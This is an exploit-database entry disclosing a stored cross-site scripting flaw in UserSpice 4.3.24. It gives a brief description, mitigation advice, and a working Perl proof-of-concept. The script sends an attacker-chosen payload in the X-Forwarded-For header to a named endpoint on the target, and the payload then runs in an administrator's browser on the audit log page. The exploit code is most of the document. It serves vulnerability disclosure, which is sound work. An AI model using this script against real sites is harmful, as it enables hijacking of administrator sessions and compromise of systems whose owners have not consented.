userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting

vendor:

UserSpice

by:

Dolev Farhi

7.5

CVSS

HIGH

Cross-Site Scripting

CWE

Product Name: UserSpice

Affected Version From: 4.3.24

Affected Version To: 4.3.24

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Ubuntu

2018

userSpice 4.3.24 – ‘X-Forwarded-For’ Cross-Site Scripting

UserSpice 4.3.24 is vulnerable to Cross-Site Scripting (XSS) via the X-Forwarded-For header. An attacker can send a malicious payload to the server which will get executed when an admin visits the audit log page.

Mitigation:

Input validation should be used to prevent XSS attacks. The application should also be configured to reject requests with X-Forwarded-For headers.

Source

Exploit-DB raw data:

# Exploit Title: userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting
# Date: 2018-06-10
# Author: Dolev Farhi
# Vendor or Software Link: www.userspice.com
# Version: 4.3.24
# Tested on: Ubuntu
# Payload will get executed when admin visits the audit log page

#!/usr/bin/perl

use strict;
use LWP::UserAgent;

print "UserSpice 4.3.24 X-Forwarded-For XSS PoC\n";

if ($#ARGV != 0 ) {
	print "usage: $0 <address> \n";
	exit 1;
}

my $server   = $ARGV[0] . "/users/cron/backup.php?from=users/cron_manager.php/";
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://' . $server);

print "Enter payload: ";

my $xff = <STDIN>;
chomp $xff;

if ($xff eq "")
{
 print "Empty payload \n";
 exit 1;
}

$req->header('X-Forwarded-For' => $xff);

my $resp = $ua->request($req);
if ($resp->is_success) {
    print "[OK] Sent payload: $xff\n";
    exit 0;
}
else {
    print "[Error]: code: ", $resp->code, $resp->message, "\n";
    exit 1;
}